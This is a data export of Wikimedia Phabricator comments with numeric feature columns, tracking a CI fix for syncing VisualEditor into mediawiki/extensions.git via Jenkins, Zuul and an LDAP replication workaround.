https://gerrit.wikimedia.org/r/108810",,,1390334462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.541666666666667,0.9166666666666666,"Change 108810 had a related patch set uploaded by Hashar:
trigger mwext-VisualEditor-sync-gerrit on postmerge

GERRIT_URL"
254323,mediawiki/extensions.git does not update some extensions,"The Gerrit replication got fixed last week.  The bot was not able to connect because Gerrit cache accounts credential indefinitely (lowered to 7 days by Chad with https://gerrit.wikimedia.org/r/#/c/108715/ ).

I did a few tweaks to adjust the shell script and granted jenkins-bot the ability to CR+2 and V+2 on mediawiki/extensions.git .

The first change that self merged is https://gerrit.wikimedia.org/r/#/c/108732/

Gotta add triggers in Zuul.",,,1390332631,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,29,,1.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,12.0,0.0,5.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,3.0,17.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,12.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,4.012987012987013,0.8051948051948052,"The Gerrit replication got fixed last week.  The bot was not able to connect because Gerrit cache accounts credential indefinitely (lowered to 7 days by Chad with URL ).

I did a few tweaks to adjust the shell script and granted jenkins-bot the ability to CR+2 and V+2 on mediawiki/extensions.git .

The first change that self merged is URL

Gotta add triggers in Zuul."
254319,mediawiki/extensions.git does not update some extensions,"When jenkins-bot push to Gerrit, Gerrit fetch the email address of the user from the LDAP directory and compare it to the Commiter field of each commit being pushed.

Gerrit points to LDAP server virt1000 which is no more replicated from virt1.  Hence the jenkins-bot record known to virt1000 is still lacking the email field and thus Gerrit thinks jenkins-bot has no email.


This is thus blocked until the virt1 -> virt1000 LDAP replication is fixed.",,,1389991554,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,1.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,12.0,1.0,2.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,10.0,16.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,4.164835164835165,0.5824175824175825,"When jenkins-bot push to Gerrit, Gerrit fetch the email address of the user from the LDAP directory and compare it to the Commiter field of each commit being pushed.

Gerrit points to LDAP server virt1000 which is no more replicated from virt1.  Hence the jenkins-bot record known to virt1000 is still lacking the email field and thus Gerrit thinks jenkins-bot has no email.


This is thus blocked until the virt1 -> virt1000 LDAP replication is fixed."
254313,mediawiki/extensions.git does not update some extensions,"Still failing :(

https://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/9/console",,,1389942210,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,3.8,1.0,"Still failing :(

URL"
254306,mediawiki/extensions.git does not update some extensions,I've manually updated the database until LDAP gets back in sync. You *should* be able to push now.,,,1389910865,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,13.0,13.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,9.0,13.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5217391304347827,0.9130434782608695,I've manually updated the database until LDAP gets back in sync. You *should* be able to push now.
254300,mediawiki/extensions.git does not update some extensions,"Gerrit still believe that jenkins-bot user does not have any email address despite the address being shown in virt0 LDAP.

The suspect is that the LDAP replication to virt1000 is broken and that is the server Gerrit is using as a primary.

Whenever Gerrit learns about jenkins-bot user, the script I wrote should be able to push its change.


The last build I triggered ( https://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/8/console ) yields:

7:14:47 remote: ERROR:  In commit c414977bcdbcbdf6331d9fe2e627bc0768695966
17:14:47 remote: ERROR:  committer email address jenkins-bot@wikimedia.org
17:14:47 remote: ERROR:  does not match your user account.
17:14:47 remote: ERROR:
17:14:47 remote: ERROR:  You have not registered any email addresses.",,,1389909836,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,1.0,0.0,0.0,1.0,2.0,1.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,3.0,4.5,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,5.0,2.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,20.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,11.5,2.0,0.5,5.5,0.0,0.0,0.0,0.0,2.0,0.0,3.5,0.0,3.0,4.5,7.0,0.0,0.0,0.0,3.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,4.375,0.6323529411764706,"Gerrit still believe that jenkins-bot user does not have any email address despite the address being shown in virt0 LDAP.

The suspect is that the LDAP replication to virt1000 is broken and that is the server Gerrit is using as a primary.

Whenever Gerrit learns about jenkins-bot user, the script I wrote should be able to push its change.


The last build I triggered ( URL ) yields:

7:14:47 remote: ERROR:  In commit c414977bcdbcbdf6331d9fe2e627bc0768695966
17:14:47 remote: ERROR:  committer email address jenkins-bot@wikimedia.org
17:14:47 remote: ERROR:  does not match your user account.
17:14:47 remote: ERROR:
17:14:47 remote: ERROR:  You have not registered any email addresses."
254296,mediawiki/extensions.git does not update some extensions,"I have added a couple Jenkins slave scripts in integration/jenkins.git 

 bin/gerrit-sync-ve.sh
 bin/gerrit-sync-ve-push.sh

That would update the VisualEditor on a local copy of mediawiki/extensions.git

Then had to get a jenkins-bot@wikimedia.org email address registered and assigned to the jenkins-bot Gerrit user.


The job mwext-VisualEditor-sync-gerrit still needs to be triggered by Zuul on postmerge.  That is an easy change though. Will do whenever I am sure the job is working properly.",,,1389892786,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,1.0,0.0,3.5,2.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,4.5,6.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.5,0.0,4.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,13.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,9.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,6.0,8.5,0.0,0.0,0.0,1.5,0.0,1.5,2.5,0.0,1.0,0.0,0.0,0.5,4.173076923076923,0.7788461538461539,"I have added a couple Jenkins slave scripts in integration/jenkins.git 

 bin/gerrit-sync-ve.sh
 bin/gerrit-sync-ve-push.sh

That would update the VisualEditor on a local copy of mediawiki/extensions.git

Then had to get a jenkins-bot@wikimedia.org email address registered and assigned to the jenkins-bot Gerrit user.


The job mwext-VisualEditor-sync-gerrit still needs to be triggered by Zuul on postmerge.  That is an easy change though. Will do whenever I am sure the job is working properly."
254291,mediawiki/extensions.git does not update some extensions,"Change 107862 merged by jenkins-bot:
mwext-VisualEditor-sync-gerrit

https://gerrit.wikimedia.org/r/107862",,,1389891995,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.8333333333333334,"Change 107862 merged by jenkins-bot:
mwext-VisualEditor-sync-gerrit

GERRIT_URL"
254287,mediawiki/extensions.git does not update some extensions,"Change 107862 had a related patch set uploaded by Hashar:
mwext-VisualEditor-sync-gerrit

https://gerrit.wikimedia.org/r/107862",,,1389891791,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9047619047619048,"Change 107862 had a related patch set uploaded by Hashar:
mwext-VisualEditor-sync-gerrit

GERRIT_URL"
254283,mediawiki/extensions.git does not update some extensions,"Change 107853 merged by Andrew Bogott:
contint: invoke gerrit-sync-ve-push.sh as jenkins

https://gerrit.wikimedia.org/r/107853",,,1389886128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.6875,0.9375,"Change 107853 merged by Andrew Bogott:
contint: invoke gerrit-sync-ve-push.sh as jenkins

GERRIT_URL"
254280,mediawiki/extensions.git does not update some extensions,"Change 107853 had a related patch set uploaded by Hashar:
contint: invoke gerrit-sync-ve-push.sh as jenkins

https://gerrit.wikimedia.org/r/107853",,,1389885751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.3,0.95,"Change 107853 had a related patch set uploaded by Hashar:
contint: invoke gerrit-sync-ve-push.sh as jenkins

GERRIT_URL"
254276,mediawiki/extensions.git does not update some extensions,"Change 107841 merged by jenkins-bot:
Script to sync VisualEditor in mediawiki/extensions.git

https://gerrit.wikimedia.org/r/107841",,,1389882277,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 107841 merged by jenkins-bot:
Script to sync VisualEditor in mediawiki/extensions.git

GERRIT_URL"
254271,mediawiki/extensions.git does not update some extensions,"Change 107841 had a related patch set uploaded by Hashar:
Script to sync VisualEditor in mediawiki/extensions.git

https://gerrit.wikimedia.org/r/107841",,,1389882267,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.045454545454546,1.0,"Change 107841 had a related patch set uploaded by Hashar:
Script to sync VisualEditor in mediawiki/extensions.git

GERRIT_URL"
254264,mediawiki/extensions.git does not update some extensions,"Change 107575 abandoned by Hashar:
beta: pull VisualEditor individually

Reason:
Per Chad, will use a Jenkins job to update mediawiki/extensions.git

https://gerrit.wikimedia.org/r/107575",,,1389866906,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,10.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.645161290322581,0.8709677419354839,"Change 107575 abandoned by Hashar:
beta: pull VisualEditor individually

Reason:
Per Chad, will use a Jenkins job to update mediawiki/extensions.git

GERRIT_URL"
254259,mediawiki/extensions.git does not update some extensions,"Change 107574 abandoned by Hashar:
unregister VisualEditor (replication broken in Gerrit)

Reason:
Per Chad, will use a Jenkins job to update mediawiki/extensions.git

https://gerrit.wikimedia.org/r/107574",,,1389866900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,12.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.705882352941177,0.9117647058823529,"Change 107574 abandoned by Hashar:
unregister VisualEditor (replication broken in Gerrit)

Reason:
Per Chad, will use a Jenkins job to update mediawiki/extensions.git

GERRIT_URL"
254254,mediawiki/extensions.git does not update some extensions,"The patches above:

1) unregister VisualEditor from mediawiki/extensions.git since it is broken anyway
2) make the wmf-beta-autoupdater script to use git pull to refresh the repository",,,1389796145,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,11.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.351351351351352,0.8918918918918919,"The patches above:

1) unregister VisualEditor from mediawiki/extensions.git since it is broken anyway
2) make the wmf-beta-autoupdater script to use git pull to refresh the repository"
254249,mediawiki/extensions.git does not update some extensions,"Change 107575 had a related patch set uploaded by Hashar:
beta: pull VisualEditor individually

https://gerrit.wikimedia.org/r/107575",,,1389796012,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.947368421052632,0.9473684210526315,"Change 107575 had a related patch set uploaded by Hashar:
beta: pull VisualEditor individually

GERRIT_URL"
254247,mediawiki/extensions.git does not update some extensions,"Change 107574 had a related patch set uploaded by Hashar:
unregister VisualEditor (replication broken in Gerrit)

https://gerrit.wikimedia.org/r/107574",,,1389795448,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 107574 had a related patch set uploaded by Hashar:
unregister VisualEditor (replication broken in Gerrit)

GERRIT_URL"
254244,mediawiki/extensions.git does not update some extensions,"(In reply to comment #29)
> (In reply to comment #28)
> > We need to do this as a post-merge job in Jenkins for updating the meta-repo.
> > The Beta config should be able to remain as-is.
> 
> I am not sure we could do a post-merge job since Zuul does not support
> triggering a job according to a project wildcard such as
> mediawiki/extensions/*
> 

We don't need to for all repos. Just VisualEditor since it's broken. So we'd adjust the VE zuul/jenkins config to update mediawiki/extensions.git after VE merges.

> 
> I thought we could adapt the 6 minutes wmf-beta-autoupdater.py script, make
> it
> fetch the list of extensions generated at:
> https://gerrit.wikimedia.org/mediawiki-extensions.txt  then do a git
> submodule
> add on all of them and then update them all.

Ew. I'd rather keep everything else as it is, keep the workaround to one place (the VE zuul/jenkins config) until the upstream fix takes place. No need to change our infrastructure.",,,1389722159,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.5,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,3.0,0.0,3.5,7.0,1.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,3.5,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,17.0,0.5,0.0,4.5,0.0,0.0,0.0,0.5,4.5,0.0,1.5,0.0,4.0,7.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5220810647307923,0.660768300060496,"(In reply to comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We don't need to for all repos. Just VisualEditor since it's broken. So we'd adjust the VE zuul/jenkins config to update mediawiki/extensions.git after VE merges.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Ew. I'd rather keep everything else as it is, keep the workaround to one place (the VE zuul/jenkins config) until the upstream fix takes place. No need to change our infrastructure."
254241,mediawiki/extensions.git does not update some extensions,"(In reply to comment #28)
> We need to do this as a post-merge job in Jenkins for updating the meta-repo.
> The Beta config should be able to remain as-is.

I am not sure we could do a post-merge job since Zuul does not support triggering a job according to a project wildcard such as mediawiki/extensions/*


I thought we could adapt the 6 minutes wmf-beta-autoupdater.py script, make it fetch the list of extensions generated at: https://gerrit.wikimedia.org/mediawiki-extensions.txt  then do a git submodule add on all of them and then update them all.",,,1389720044,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,2.0,0.0,0.0,0.0,2.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,1.0,5.0,11.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,8.0,1.0,1.0,10.0,0.0,0.0,0.0,1.0,8.0,0.0,4.0,0.0,8.0,11.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,3.857142857142857,0.7976190476190477,"(In reply to comment #28)
QUOTE
QUOTE

I am not sure we could do a post-merge job since Zuul does not support triggering a job according to a project wildcard such as mediawiki/extensions/*


I thought we could adapt the 6 minutes wmf-beta-autoupdater.py script, make it fetch the list of extensions generated at: URL  then do a git submodule add on all of them and then update them all."
254238,mediawiki/extensions.git does not update some extensions,We need to do this as a post-merge job in Jenkins for updating the meta-repo. The Beta config should be able to remain as-is.,,,1389653054,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,16.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.1875,0.84375,We need to do this as a post-merge job in Jenkins for updating the meta-repo. The Beta config should be able to remain as-is.
